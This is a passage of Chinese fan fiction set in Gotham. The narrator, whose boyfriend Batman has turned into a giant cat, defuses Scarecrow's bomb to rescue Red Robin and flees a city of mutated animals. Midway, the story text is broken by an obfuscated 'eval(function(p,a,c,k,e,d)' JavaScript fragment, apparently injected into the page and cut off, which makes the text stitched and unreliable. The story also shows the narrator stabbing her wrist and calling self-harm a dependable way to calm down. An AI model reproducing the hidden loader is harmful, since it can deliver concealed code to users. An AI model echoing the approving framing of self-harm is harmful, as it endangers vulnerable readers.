“怎么可能,不要拿你的命开玩笑……”说着,我望向正从石阶上下来的老管家,他身后跟着油光水滑的小猫,“我还有其他资料要看。” 青年发出类似抱怨的嘘声:“可这个‘继承人诱饵’计划还是我们一起商量的呢,你难道不想参与进来吗?” “我只是个外行人,不指手画脚就是我最该做的——那么便士一先生,这里交给你了。” 和老管家打过招呼,我拿起桌上的平板走到另一边的椅子上坐下。观摩义警的日常工作其实可以算是非常有趣的取材,前提是对象不能是男友的孩子——这几天我一直都在思考自己为什么要管这一家的闲事,从单纯照顾猫迅速堕落成免费打工的“全都包”女仆,分明我连自己生理期都是那种止疼药随便一吃死也不会开火煮热水的超级大懒人。 也许是因为……把他们照顾好,等男友恢复人身后也不需要再操心,可以多把注意力放在我身上? 又或者是,我对他们每日的刺激活动感到艳羡? 可光看着阿福先生给三人缝合伤口就已经让我浑身不适了,更别提义警们那一身旧伤疤(还是有定期做祛疤手术掩饰双重身份后的结果),夏天穿短衣服太显眼了。 不过和他们一起做分析和侧写很有意思,能无限制地阅览普通人没法接触到的机密档案,而无论是夜翼还是红罗宾都拥有很丰富的学识,神谕的图像记忆能力更是恐怖,甚至有种这些人生来就是为了当义警的荒谬感。 尤其是当他们说忙起来每天睡四小时就够了的时候。 不,首先红罗宾带着断掉的肋骨还要坚持夜巡的态度就已经足够惊悚了。 这衬得几天来为了能跟上他们步调而把冰美式和止疼药当成固定搭配的我特别废物。 持续的高强度活动让我从昨天开始就不太舒服,再这样下去只会给阿福先生添麻烦。 好在一周来大家都基本掌握了骑士袭击的节奏和风格,再加上他对蝙蝠侠本人的极端执着,看见夜翼有继承披风的意思更容易失去理智,只要支援及时计划的成功率能保持在80%左右。 也就是说,有80%的几率我能在今晚过后每天多睡两三小时。 平板上的画面还在继续播放,我调慢了倍速,研究对象的动作因此更加清晰。黑猫悄无声息地趴到腿弯和椅子的夹角里,用尾巴彰显自己的存在感,漫不经心地在我余光里摇晃着。 另外需要注意一下红罗宾的状况。我和他的家人其实都不怎么同意他今夜单独行动,本来应该是安排他和夜翼一起吸引骑士仇恨的——但今早他做资料归整的时候发现了点新的线索,说是和骑士在本地的帮手有关。其他人各有各的任务,而红罗宾本人也再三保证只是去踩点侦查,最终我们还是在夜幕降临时放这只小鸟离了巢。 那边的屏幕上新任蝙蝠侠已经和杀手鳄打上了遭遇战,同时蝙蝠女侠的通讯也接入了公共频道,和她在一起的还有女猎手,两人刚刚处理完一起纵火案,如今正往下水道赶。 焚烧对象是东区某黑/帮的主事人,明显的骑士手笔,除了给义警添麻烦以外还有震慑作用,这一周来他已经用不同手段把之前负责各区毒/品贸易的小头目们杀得寥寥无几(警察局门口的火人正是第一位受害者),仅剩的几人还是义警们想办法救下来的。 其实我觉得可以从这方面下手,煽动黑面具或是企鹅人帮忙通缉他。恶人的联盟是极易瓦解的,骑士此番举动已经踩在他们的雷点上蹦迪,实在不行就假扮骑士的雇佣兵去他们反派的地盘搞点破坏…… 听过我上述想法的德雷克欲言又止,最后委婉地告诉我那不是义警的行事方式,并且建议我不要和格雷森或是戈登分享这个念头。 所以退而求其次,我翻出了几年前男友失踪一年时格雷森作为蝙蝠侠的记录(原本只是作为个人兴趣查阅的),询问三人骑士对披风的归属问题是否会产生一些可供利用的心理破绽,“继承人诱饵”计划因此产生。 当然,大部分细节都是他们敲定的,我只是个旁听生。 侧屏上的作战进入白热化,被放大至主屏。为了不被骑士提前觉察,夜翼还是按照原本的路线去收容变异化的杀手鳄。看着他落入下风而引得骑士出手时我掌心全是冷汗,生怕哪颗子弹或是撕咬就让这只轻盈的鸟坠落下去。 全神贯注时,颈侧忽然的痒意几乎令我从椅子上弹起来,侧头一看才发现是不知何时蹲在身后的大猫。他最爱在蝙蝠洞躲猫猫,此刻却好似感觉到了点不同寻常,和我一起盯着屏幕。 “披风是不是有点拖慢夜翼的速度?”我把平板放下,低声问他,不敢去打扰紧张又严肃的老管家,“但又帮他挡了不少子弹。” 猫不可能听懂我的意思,但焦虑的情绪却是可以被嗅闻的。膝盖后传来了点力道,我掀开裙子,一只小猫头就从裙摆里冒了出来,他钻进我怀里,仰躺着去看主屏幕。 两只动物蹭过来的毛很好地安抚了扑通狂跳的心脏。 我不太确定自己是因为什么而感到不安,可能和自己多少在计划上添了几笔有关,又有点像在观看电影里遇到危机的主人公,因其高超的演技而本能地调动了情绪。 如果可以像Loading时的进度条,故意闭上眼不去看,过一会儿发现它已自动走到100%就好了。 眼睑酸涩,我眨了又眨,暂时把视线挪回侧屏上。 “……红罗宾的数据是不是有点奇怪?” 心律不齐,体温和各项指标都有下降的趋势,但还不到警报线,因此专注于主屏的老管家没有发现。 作为外行人,我有些犹豫要不要提醒对方,最终还是选择先用平板发个消息——这东西本就是德雷克借给我查记录和资料的,经过改装,和他本人的通讯器有单独的加密频道连接,平时拿来传传档案什么的。 两只猫看我划拉大方块,罕见地没有捣乱,小的那只甚至允许我把平板架在他肚子上。我等了一会,对方也没有回消息,反而是蝙蝠电脑那响起了监察对象休克的警报。 正是红罗宾的,他的定位没有更新,从十分钟前就停留在旧冰山酒吧附近。 我和面露难色的阿福先生对视一眼,他没有第一时间通知夜翼几人,糟糕的消息容易让他们分心,这在骑士眼里就是可乘之机。 轻轻吐出一口气,我拍拍小猫的背,他很快从我身上跳了下去,我于是起身:“我带猫去附近接应他。” “恕我直言,小姐,您的身体……”老人还想再说几句,夜翼急切的声线便从扬声器里传出来:“便士一,替我通知詹姆斯带人来回收杀手鳄,带足麻醉剂——女侠正堵在骑士的退路上,他发现是陷阱了!我和女猎手现在就过去!” 在他们交流的空挡,我已经拿走了放在工作台上的多功能腰带,并给大小猫扣上了项圈,带上鞍。没时间换衣服了,我扯开裙侧的纽扣,确保待会跑动时褶 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此次他要单独行动我也是第一个转向支持的,现在把车开得飞快,大概也证明着我觉得自己需要对他负上点责任。 越野车停在定位附近。我很快找到了红罗宾的飞行器,周围没人,眼罩也扫描不出任何痕迹(这张眼罩估计是罗宾留在车里备用的),两只猫闻了闻,大的冲我喵一声,示意我上背。 “两个定位距离不远,大概率在原冰山酒吧地下……”那里几年前就被企鹅人放弃了,他如今更喜欢自己花高价装修过的游轮赌场。两天前夜翼去拜访过,那个矮胖的鸟人抽着雪茄和骑士撇清关系,压根不承认自己会给竞争对手提供庇护和赞助。 我翻身上猫,扣好安全绳,抓着项圈被他带上酒吧周围的高墙。大猫很爱在散步时驮着我跑,而且多数时候我们都心有灵犀,骑他比骑马简单多了,就是他的毛容易让我打滑。 但不管怎么说,像这样在房顶间跳来跳去还是太刺激了。 咽下跳到嗓子眼的心脏,我自己都很佩服自己的了不起,有种忍耐阈值再次被拔高的感觉。小猫就跟在爸爸身后,有他们俩在我都不用担心被监控拍到,轻车熟路地就摸到酒吧顶层的天窗口。 黑黢黢的,没有人声,仿若巨兽张开的大嘴,正等着美味佳肴自投罗网。 眼罩的扫描插件捕捉到了钩锁枪的痕迹,夜视功能则帮助我看清落了灰、东倒西歪的家具。我没有急着下去,先给蝙蝠电脑和夜翼分别发了消息,然后打开了布鲁斯项圈上的摄像头,亲吻他的鼻尖: “好猫猫,我和小咪在这等你,下去帮我看看是怎么回事,能找到红罗宾就直接带上来。” 猫不通人言,但猫闻过有孩子气息的物什,他作为蝙蝠侠的经历已经化作本能告诉他下去要做什么。 找到好人,不放过一个坏人。 某种程度上来说,蝙蝠猫在战斗力上是远超人身的,我虽有忧虑,但不多,这已经是我能做到的最优解。 寻了处地方藏身,有小猫帮我放风,我看起实时直播来很安心。他的尾巴吊在我头顶,眼睛和耳朵机灵地转来转去,认真得不会因为天上飞过的鸟儿而分心。 若是今天只有我一个人,我是绝计不会离开庄园的。危险系数太高,万一有什么事还会成为累赘——我稍稍能明白阿福先生每天等在电脑前的心情了,煎熬、焦急,也许还要反复质问自己。 等一切回归原位,我真的能像他那样每天等着布鲁斯平安回来吗? 心中的答案呼之欲出,我强行让注意力集中在微型电脑的画面上。大猫悄然掠过地上残骸,找到了守在地下室入口的守卫,对方倒下的身体上还插着红罗宾的麻醉镖,他嗅了下,打了个小喷嚏又往下走。 接下来出现在画面里横七竖八的守卫越来越多,这不太合理——红罗宾还处于昏迷状态,按理说二十分钟打扫战场叫醒伤员绰绰有余,为什么地下安静得出奇?难道敌人布置了陷阱? 我打定主意准备叫猫回来,一如散步时项圈振动他就会知道是自己跑得太远了,手指却生生僵在半空,为紧随其后出现在画面里的场景而微微颤抖起来。 好消息,我找到红罗宾了。 坏消息,小鸟被绑在椅子上,胸前捆着电影里才会出现的倒计时炸弹。 忙着在青年身边绕圈的大猫不知踩中了哪,阴湿又邪腻的声线乍然响起: “欢迎光临,远道而来的朋友,”在他说话时,我已带着小家伙冲下了楼,直奔目的地——蝙蝠猫的牙可解不开炸弹,“我们有多久没见了,自从那条该死的鳄鱼划伤了我的脸,而你任由我掉入运河开始……我就一直在酝酿着一场复仇。” 嘴里渐渐弥漫起铁锈味,我很庆幸自己在下来前还打了吗啡和一点肾上腺素,头脑和身体不同,轻飘得仿佛能飞起来。 “骑士与我是志同道合的战友,可惜,我有多欣赏他对恐惧的运用,就对他病态的执着有多痛心;我和另一些朋友商量过也争吵过,最终决心放弃他,你能想象趁着他吸引你注意力的时候,我们能做出多么伟大的事业吗?!” 地下回荡着我无法掩饰的呼吸声,关押红罗宾的房间近在咫尺,我竟还有闲心恍然大悟——看来坏人的联盟确实松散,我就知道没人能忍受阿卡姆骑士那个说疯就疯的个性。 “祝你好运,蝙蝠侠,虽然你已经不可能有机会阻止我了,或许你能从爆炸中脱身,又或许不能……但我会由衷期待你翻开废墟望见哥谭的那一刻,你将坠入恐惧狂欢的地狱。” 18.18 鲜红的数字从05:00开始减少。 我只凑近看了一眼就知道下来等于搭上了命——和蝙蝠侠本人不同,我可是个彻头彻尾的普通市民,普通市民哪有摇身一变就能成拆弹专家的。 那么要做什么已经很清楚了。 两只猫都在围着红罗宾打转,我上去检查他的情况,颈侧有针孔、盗汗非常严重,紧闭的眼珠不住地滚动着,仿佛在昏迷中也经受着折磨。通过先前的录音已经得知下手的是失踪已久的稻草人,我尝试给红罗宾注射了腰带里恐惧毒素的血清,对方抽搐了两下,却没有清醒的痕迹。 凑近了还能听见他说胡话,没有重点、没有逻辑,我不该再在他身上浪费时间。 4:17。16。15。 我捡起了地上的玻璃碎片,狠狠刺中身旁的大猫。这意想不到的袭击激起了两只猫的凶性,他们的竖瞳里甚至带着不可置信,伏低身子将扑未扑,喉咙里却是委委屈屈的呜咽声。 胸口冷得可怕,我一边想要呕吐,一边疾声厉色:“出去,统统出去,回上面跑得越远越好!” 猫发出了似曾相识的嚎叫,达米安已退到了房间口,惊疑不定地注视着还徘徊在我身侧的布鲁斯。我在大猫蓄起泪水的蓝眼睛里感到一阵窒息,好似下一秒就会溺毙在那片蓝色汪洋里,于是只能闭上眼,按动项圈的遥控开关。 电流滋滋的响动和我冷酷的声线一样无情:“滚出去!” 这回他们像真正面对天敌的动物,哀哀叫着离开房间。我猛地吐出一口气,随即再看倒计时。 3:30。29。28。 一边拨通蝙蝠电脑的视讯,我起身用手机拍下了墙上没有随着主人出门而被带走的公式和简报,老管家声音传过来的那一刻,我正好全部上传云端。 已经不是计较信号会不会被别人截取的时候了。 开门见山说完眼下险境,我调整眼罩内置的镜头,让画面对准红罗宾胸前的炸弹,一边从腰带里取出相应的工具:“……只能现场教学了,便士一先生,我会尽量不手抖的。” “好。” 老人的声音却带着一点哽咽和战栗,但他迅速调整了过来,倒计时走到2:40秒,他开始指使我拆卸计时器的外壳。 零线、火线、电源线。一层层或蓝或黄或红的线犹如毛线球般在我眼前结成密不透风的网,汗水顺着额头浸湿眼罩,又闷又痒,我却连眨眼都不敢,整个人仿佛有一半浸在冰水里瑟瑟发抖,另一半则被烈火烹烤,鼻尖能闻到皮肉烧焦的虚幻气味。 攥着镊子的手终究还是发了抖,我挑不出对应的线,又不敢过呼吸以免让头更晕,倒计时数字刻在视网膜上,犹如烧红的烙铁吱吱作响。 “不要着急,还有时间,稻草人没有加上远程遥控的接收天线,这是个最基础的定时炸弹,你能做到的,小姐。我相信你。” 老人安慰的话语忽远忽近,听不真切。 我翻转左手腕,镊子的头非常尖锐,在它刺入皮肤的霎时,疼痛促使我精神一振。 拔出来的工具带了点血肉,我将它们甩个干净,一鼓作气挑出了阿福先生需要的那根线。 自残一向能使人冷静,起码对我来说已经成了条件反射般的事实。 “接下来呢?” 还剩一分钟不到。 管家先生的呼吸声也变得越来越沉重:“干得很好……接下来的这三根里有两根会是火线和电源线,但它们埋得太深,只通过视频我很难判断它们连往何处。” 明白,到这一步就必须靠我自己了。 可自倒计时三分钟开始,一个古怪的疑虑在我脑海里越来越明晰。 “……您觉不觉得奇怪,稻草人认为过来营救的应该是蝙蝠侠,但是他却准备了一个相对简单的炸弹,”我轻声开口,擦掉了下巴上积蓄的汗珠,“那么留下这么多人质在上面的目的又是什么?我是说,蝙蝠侠在这不用一分钟就能解开,他能有什么恐惧,最多就是想揍稻草人一顿。” 稻草人作为经典病例被放在我看过的几本书里,他的那一部分记录着好几段与主治医生的话疗内容,我翻来覆去看过三四次。 倒计时二十秒,我小心地吸气,再慢慢吐出来:“除非像您之前提过的,这三根线只是拙劣的挑衅,这个炸弹应该是可以远程遥控的。” 随着尾音消散在房间里,我听见有人在鼓掌。 慢吞吞的、沉闷的,拖长了的鼓掌声。 炸弹发出“滴”一声轻响,数字重新跳回到5:00。 先前负责给蝙蝠侠下战书的声音再度通过墙上的喇叭持续播放: “一开始看见陌生女人走进来时,我真的非常失望。” “但现在看来,你简直是今晚最大的惊喜,”他阴恻恻的笑音让我起了一身鸡皮疙瘩,“我有幸知道小姐的芳名吗?” 我想了想,心情倒是比之前放松许多,有种被枪毙前忽然改判了死缓的安逸感:“不好意思,我还没有作为超级英雄出道的打算……您还等我喘口气吧,刚刚实在太紧张,我腿都跪麻了。” 说着,我再也坚持不住,一下子滑坐到地上,只能扶着红罗宾的膝盖捋顺气息。 这幅初出茅庐的菜鸟样能不能糊弄住稻草人很难说,但他起码不再揪着我的名字不放,而是根据我的穿着起了昵称:“你就不怕我现在按下开关,让你们死无葬身之地吗,女仆小姐?” “这个可能性……不小,但对你来说会不会有点太无趣了?……我认为你会是那种想要玩弄猎物情绪,以到达最佳恐惧赏味期的类型……” 断断续续的语句挤出胸腔,我逐渐控制好呼吸,抬头逡巡。 眼罩提示了监控探头的方位,无处不在的窥伺感令我背后发毛。 “噢,你调查过我。”他的语气里多了两分洋洋自得。 我爽快地承认了对这类反派的兴趣,大概率能满足他们中大部分人的自恋心理:“是的,要我说哥谭最有意思的地方就是能孕育出各种各样的邪恶之徒。” 不能表现得太过谄媚,但也不能惜字如金,现在我能办到的也只有维持稻草人的兴致,拖到夜翼他们过来。与阿福先生的视讯也未掐断,老人现在一言不发,希望他也能帮忙想想对策,毕竟这么大个红罗宾我又不能揣在袖子里带走。 青年微弱的梦呓几乎要被稻草人刺耳的声音盖过去了,我爬上他的双膝,努力想要驱使软掉的腿脚站起来,试了几次也没能成功。 “啊……多么甜蜜的爱情,我几乎要为此感动流泪了。” 去&%¥@的爱情!按辈分算我可是德雷克的小妈! 即使在内心把稻草人骂了个狗血淋头,我面上依旧维持着疲累的神色,甚至把脸靠在红罗宾的大腿上——这下看起来应该是真的像对苦命鸳鸯了,青年被我的力道牵扯,低垂的头颅顺势往下弯了弯。 我从他翕动的双唇中分辨出了几个音节,不动声色地提高音量: “究竟要怎么样您才愿意给他一条生路?只要是能做的,我责无旁贷。” “通常来说,我都不会留下活口,”男人慢条斯理的发言令人火大,“但我会给你这个机会,谁让你拥有远超想象的价值呢,女仆小姐。” “只要你把掌控变异动物的方法说出来。” 言辞间,他的口吻夹杂着贪婪的热切,“我从没见过有变异动物如此温顺听话,你用了什么方法训练他们?药物?电击?它们面对你的攻击甚至没有反抗的意图!” 这些英文单词拆开我每个都认识,组合在一起却好像成了天方夜谭。 见我陷入沉默,稻草人啧啧两声,“滴嗒、滴嗒,时间可不等人。” 我不能让他重新按下倒计时按钮,那样红罗宾说的就没有用了。 “你和骑士是合作伙伴,他有告诉过你一周前他抓过一个疑似能操控变异动物的人吗?” 拿他认识的对象坐实他的猜想,稻草人果然上钩,“看来那就是你了。” “没错,但我的能力不是天生就有的,”我深吸一口气,借着起身的动作遮掩,把先前对话间从腰带取出来的小型贴片黏到炸弹底部,“也是在警局的时候突然爆发的,因此当时时灵时不灵,这才从骑士手里捡回一条命。” 小小的电子零件即刻开始工作,红罗宾蓦地喘了口气,我状似忧虑地搂住他的头。 “哼……这也说得通,骑士估计把你当成普通人,这才会放了你,”对方的分析透露出他对那件事根本没多少了解,这群阿卡姆疯子真是塑料兄弟情,“不过这可就难办了……如此说来你是个超能力者,我要怎么保证你不会背叛我?” “你给我男朋友注射了最新的恐惧毒素,不是吗,我的血清对此毫无作用。” 对不起,布鲁斯——占了你家儿子便宜,我回去就把这段记录删了并给阿福先生塞封口费,保证不传到你耳朵里。 “说得有道理,我开始觉得我们能相处得很愉快了,”稻草人上一秒还带了点温柔赞同我,下一秒却一转话锋,“但我还得上个保险。” 房门无风自关,我心道不好,抱着红罗宾的胳膊不由收紧。四周传来嘶嘶的喷气声,脚下逐渐有绿色雾气团聚而上,我反射性屏住呼吸,腰带里只能塞得下一个防毒面具,既然小鸟已经中招,我只有自己戴上才最保险。 “……呵呵呵,真是准备齐全,但你穿的只是普通布料吧,”讨人厌的男声在我戴上防毒面具后又响起来,“我的毒气可不是那种只能通过口鼻呼吸才能感染的劣等品。” 我没管他,确认贴片已在好好运行后,所做的第一件事就是跑向房间的工作台,找到了被稻草人扔在这的另一条腰带。 每个义警偏好不同,蝙蝠侠会随身携带小型电子屏蔽器用来应对遥/控/炸/弹,而红罗宾常常需要负责监控全场的智能设备,因此他制作了能辐射方圆十米的电子脉冲机。 俗称能瘫痪所有电子设备的EMP。 万幸稻草人没认出这个黑不溜秋的小玩意儿。 “你要做什么!不——” 伴随我按动开关丢向墙壁,一阵绚烂的电弧在半空爆开,紧接着整个房间到处传来过载的滋滋声,又过了几秒,世界重归平静。 房门门锁重新打开,我忍着滚上喉咙的咳嗽,拖着捆缚住红罗宾的椅子冲出门外,与我们一同弥散出来的还有张牙舞爪的绿色雾气,只是空气一旦流通,它们的威力也大打折扣,抓住我的脚腕也是徒劳。 跑得太急,我本就负荷颇重的躯壳经不起一点颠簸,没来得及再离几步便一头载倒在地上,连带红罗宾也一齐摔了下来。 青年一声闷哼,给了我除呓语外的第一句话:“……老天啊,你知道、咳咳……我胸前还有颗炸弹吧。” . 从建筑物离走出来的第一时间,我就听见了城市中按捺不住的喧嚣。 我和红罗宾身上的电子设备也陷入了强制关机的状态,因此完全没法知晓目前又发生了什么大事,光是连拖带抱地把他挪到越野车那就几乎耗光了我所有气力。 令我意外的是,被我赶走的两只猫就缩在车里,哪儿都没去。 只是他们还没靠近,紧紧靠着我的青年便大力把我他怀里带,语调惊恐地变形: “那、那是什么?……怪物?!” 我很感激他在这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“等、等一下……”德雷克像只黏在我身上的八爪鱼,我猜可能是连续接触了不少材质迥异的东西令他不是很适应,“别松手……老天,我要掉下去了,我看见了爸爸的脸……” 那估计指的是对方已经去世的亲生父亲。 罗宾的越野车是敞篷的,我不能直接掀开德雷克的面具查看他眼球的情况,他抓着我的胳膊仿佛紧拽最后一根救命稻草,令给他当枕头的大猫担心地喵喵直叫。 我还要开车带他回庄园,自然不可能宠着他那点脾气,就着他的手把德雷克的脸按进猫毛里:“告诉我你闻到什么。” 青年的胸膛起伏不定,但片刻后还是逐渐平稳下来,抬着那张湿漉漉的脸对着我说:“……你的味道。” “对,因为咪咪喜欢早上跑我床上睡,而你们家的洗护用品没一个有香味的,”趁着他手指力道松懈,我抽回手摸了摸德雷克的额头——烫得能煎鸡蛋,“所以严格来说你在我身上闻到的是猫味。” 他喉结滚动,咽了口唾沫:“……非常合理。” 终于是把病患安抚住了。 我在就地包扎和先开出段距离间犹豫了三秒,还是决定先走。两只猫这一周都被人耳提面命着不能随便舔舐人类,此刻倒也安分,我从腰带里摸出下午烤的小鱼干,一共三根分一下正好。 要是有地方能洗一下手再分食物就更好了。 凌冽的夜风吹散了身上的疲气,我咽下小鱼干,往来时路上驶去。车内通讯还是完好的,拨通后便立刻被人接起: “谢天谢地,你们没事!” 我刚要开口给操心的老管家顺顺气,挡风玻璃上就“噗”得撞上只死鸟,吓得副驾驶的小猫嘶嘶哈气。拿雨刷器把它刮走后,我面对不远处的场景也想跟着他叫唤: “我就在地下室待了十几分钟,这是给我干哪儿来了?!” 在城市里上演《马达加斯加》的几率很小,但不是零。 笔直的街道上停着几辆报废的车,在滚滚浓烟中被大象踩成扁扁的罐头;电线杆上爬着几只毛色各异的猩猩,正往两旁的民房里疯狂丢石头;还有几只食肉动物专心致志地啃食地上的人类尸体,越野车的引擎声很快吸引了他们的注意力,我只得立马调转车头,就近开向一条不认识的小路。 “我正要告诉您别从医院附近的路走,”阿福先生略显马后炮的解释从车内音响传出,“根据您之前发给我的照片来看,稻草人将恐惧毒素掺进了收容区的新风系统,导致所有在其中忙碌的医护人员和动物都中了毒。” “就算是这样,也不至于变成动物版丧尸围城吧?!”后视镜里眼冒红光的动物还在追,我这回是真的有点崩溃了,“夜翼他们这么久没到是不是就在处理这件事!” 老管家肯定了我的猜测:“我们发现恐惧毒素和变异动物体内的未知病毒融合成了一种新型毒株,不仅能够当场将受感染者转变成动物,还会激发它们的凶性……目前已经有军队介入了,我会给您新的导航路线,避开封锁到达庄园。” 我宣布这是今晚唯一的好消息,没有之一。 “行,您记得准备好治疗台,”看了眼后排缩在大猫怀里的德雷克,我再次提速,扬起一地烟尘,“红罗宾有点脱水,还在发高烧,情况不太好。” 见实在追不上,几头坠在后面的变异动物似有了退却之势,两只猫一直警觉地盯着它们,此刻堪堪回过头,终于是停止了对峙。 越野的车载电脑很快把新导航投到屏幕上,我跟随指引拐了弯,往最近一条干涸的桥洞开去。阿福先生在确认红罗宾的情况后,又问我有没有什么大碍。 “大概是没了肾上腺素沾上枕头就能睡死过去的程度,”我一笔带过,毕竟和其他人比起来我确实受伤不重,“出了这么大的事,骑士是不是又跑了?” 通讯彼端沉默了一会儿。 这个疑似杰森·陶德的家伙现在在我心里比小矮星彼得还能逃,我有意想安慰老管家两句,耳朵里却是听见他这么说: “女猎手把他送到了蝙蝠洞,人在特制牢房里。” 19.19 我都快习惯被噩梦吵醒了。 整整八天来我的状况都称不上好,今天却大概是最糟糕的一天。 困倦死死压着眼皮,数小时的沉淀令肌肉里的乳酸分泌到了不可思议的程度,我连动一动手指都觉得难受无比。 噢对,差点忘了,还有吞刀片似的喉咙。 每天醒来都要应付的、来自伤口的疼痛,现下也不遑多让地挤进大脑,悠闲地在神经上拉小提琴。 冷汗很快沁出后背,黏黏腻腻的一层,像是把人粘在床上的胶水。我不确定自己有没有呻/吟出声,但朦胧间有什么柔软的东西贴上我的脸颊,沉闷的呼噜声顺着吐息喷在耳廓,我终于生出了些毅力扭过头去,把脸埋进那热烘烘的气味里。 “甜心……你赶紧变回来,一直当猫会被人抓去绝育的……” 异化为巨型动物的男朋友冲我不满地叫了一声。多数时间他的猫叫都显得挺有威慑力,但偶尔也会化身夹着嗓子的嘤嘤怪——比如现在。 我不顾小刀划嗓子,还在喋喋不休,好像这样就能转移自己的注意力:“你看你,现在连给我倒杯水都不行,昨晚要不是我扎伤你你还不乐意走,当时情况多危险啊,我都做好准备交代在那了……唉,你只是只猫,没人会把拯救世界的重任压在你身上,这样也挺好的,我可不希望你浑身是伤地回来,好想把你偷走,只当我一个人的猫有多好,咱们还能去公路旅行呢,我来美国最想玩的就是公路旅行了。” 没有逻辑,颠三倒四,想到哪说到哪。 “不行……你还是变回来吧,我两天没洗头了,你得给我洗头,为了把你家小鸟全须全尾地带回来我受了老罪了——还有换药,戈登不在我一个人换药换得想哭,我数到三你变回来两小时、不、三小时吧……吹头发还要一小时呢。” 在心里默数三下,猫依然是猫,但他一爪搭在我的腰上,蓬松的尾巴轻拍着我的大腿,像是真的感受到我不佳的心情于是给予了安慰,我鼻子酸酸,又有点想掉眼泪。 这狗屎的世界如果没有小猫的话后果真是不堪设想。 又在毛里憋了会儿气,胸膛冒出些熟悉的痒意,我偏头低低地咳嗽起来,身上每寸肌肉都跟着一下一下的疼。身侧的暖源拱着鼻子来蹭我,两只耳朵在人手放上去时会自动往两侧分开。 摸了没两下,大猫又支起了身子,留下一句“喵”便跳下床铺。他踱过一室昏暗,熟门熟路地扒拉开门把手,翘着大尾巴钻出门缝。 而我被猛然刺入的天光照得蜷缩成一团。 “坏猫……说好的听话好操控呢。” 结果我还是不知道自己和猫的相处方式算不算“超能力”。昨天回来还照顾了德雷克半宿,不仅没能去牢房那看看阶下囚,我都没空和阿福先生复盘一下稻草人话语中的信息量——而单单根据我和管家之间日常带猫的对比,我又不怎么能决断出具体的差别。 或许是稻草人弄错了,他以为是我有能力指使猫们办事,殊不知是那两只太过聪明,他该纠结为什么他们和其他变异动物不一样才对。 有关收容区的情报我没有每天跟进,复杂的化学药理对我来说大多数时候都是天书,但最基础的信息我还是有听戈登说过,她也对家里两只猫的听话程度表达过惊奇。 “你要是去医院走一圈就知道了,和布鲁斯他们父子相比,其他人已经完全没有人性,成了原始动物。” 几人也尝试过比对研究,结果出来却是大差不差,再加上父子俩身上依旧存在着大部分的猫性,这件事便暂时被搁置,还是以疫苗的开发为最优先。 如今无论是骑士还是稻草人……可能还要加上给他们提供帮助的其他恶人,阴差阳错反而把焦点聚集在我身上。 也好,总比每天提心吊胆着怕有人来偷猫要强上不少。 内心思考着这点误会可否被利用,头绪不多,还得再结合点现实依据判断。 没了天然暖炉,我再不情愿也得起床。 顶着浑身酸痛勉强在地板上站定,我一眼就看见了身上头发上的猫毛,不用想也知道床上是何等狼藉,这可能就是饲养大型掉毛怪的烦恼。 沾了异物的感觉不好受,尤其是在出汗过后,稍微让我回想起以前状态最差的时候。 刚刚停药的日子其实没有病友贴子里的那么难熬,我只是提不起任何兴趣,日复一日地平躺在床上。出租屋地势偏低,晚上能听见虫子窸窸窣窣的响动,我总觉得它们有一天也会像分解下葬的尸体那样把我吃掉。 我对那样的日子十分恐惧,若是稻草人的毒素在我身上发挥作用,估计第一个复现的便是当时的场景吧。 无法被正常使用的肉/体如同困住思维的枷锁。 “——” 手机在床头振动。 我瞟了一眼,把闹钟关掉。WhatsApp和邮箱分别有新消息提醒,但我只是确认了一下时间,随后便将手机蓝牙打开,连接上音响给自己放点曲子听。 当音乐从德沃夏克跳转到椎名林檎的时候,门口传来了敲门声。 我看了眼浴室镜子里的女人,只剩一条内裤、身上绷带沾满水渍和血迹,进退两难就是用来形容她的。 女声慵懒别致的唱腔里,来人微微抬高音量,喊了声我的名:“我来给你送点吃的,阿福说你起来会犯低血糖。” 是格雷森的声音,好吧,这下更加尴尬了。 匆匆套了件浴袍,我关掉音乐,用最快速度打开浴室门。 视线和同样带伤的青年对了个正着,他很有礼貌地移开目光,站在门口没动,“我把东西放你……”他顿了一下,因为发现基本每个地方都摊着稿纸,“放你床头柜上?” 那是唯一没被白色铺平的净土。 “谢谢。” 话一出口,我还没反应过来自己的嗓音和平时有多大差别,格雷森的眉头已经皱起来了:“你还好吗?我看了你昨晚的血检报告,恐惧毒素虽然很微量但是——” “真没事……可能就是扁桃体发炎。” 由于时不时会在他身上感觉到类似男友的说教味,我直觉不能暴露自己试图单手洗头结果把伤口搞裂了的事,硬是挤出一个微笑。 止疼药十几分钟前刚吃,现在还没起效,以是我一惯的社交笑容效果很差,反而令青年迈步走过来,把装了食物的托盘放好。 “……别告诉我你要在这种情况下洗澡。” 离得近了,我不指望自己这一身水汽能瞒过对方,格雷森是个笑口常开的人,往往这种类型垂下嘴角会更显得不好惹。 “那我还是有点常识的……”心虚一晃而过,我捏了捏没能打湿完全的长发,“就是洗个头。” 他抱着胸,面无表情地看着我。 这种时候不能退缩,我绝对不可以再落到以前那种长时间不清理自己的邋遢境地里去——似是能从我的眼神中读出决心,格雷森终是叹了口气: “你不觉得自己的洁癖有点严重吗?……算了,让我来帮你。” 他不是在和我商量,我意识到这点,即使用词还算客气,但格雷森笔直的视线在提醒着我接受他的建议,要不然他不会对我的鲁莽举动坐视不理。 而最令我挫败的是,这具身体的确需要他人搭把手。 “你不用去忙吗?”我让开身位坐到浴缸边,方便他进入盥洗室,“昨晚的骚乱好像还闹得蛮大的。” 昨天的下午四点夜翼已经泡在蝙蝠洞里了。 “军方出动了不少部队,两小时前刚刚完成了初步的封锁和居民撤离工作,我是被来帮忙的朋友推回来的……”他顺便拿了托盘里的温水给我,第一眼便看见了洗手池上的斑斑血迹,“我现在非常庆幸自己当时就打道回府——反复撕裂伤口是最有可能留下后遗症的,我相信你知道这点。” 在浴室的暖灯下,格雷森眼下的青黑也明显起来,想到对方没休息多久就过来关心自己,我的气势不由一弱再弱,用母语嘟囔: “但是不洗不行嘛……德雷克又重我背着他摔了好几跤,回来路上还有大鸟来啄我的头巾,我头发都被拔了好几根!” 说着嗓子更痛,我一口吞了他递来的消炎药,艰难地抬胳膊喝水,脸控制不住皱成一团。大抵是模样有些滑稽,青年正摊开药箱给自己的双手消毒,偏头望过来时脸上已没了先前的强势,又变回了无奈的好好先生。 他再叹气:“抱歉,这本来应该是我的事。” 我还挺喜欢他们一家会自然用普通话接口的,幸而喝过水喉咙也没之前那么刀剐,又笑起来:“你即便有三头六臂也忙不过来,不要为了已经发生的事责怪自己。起码我把你弟弟没缺胳膊少腿地带回来了,怎么说也值得表扬一下吧?” 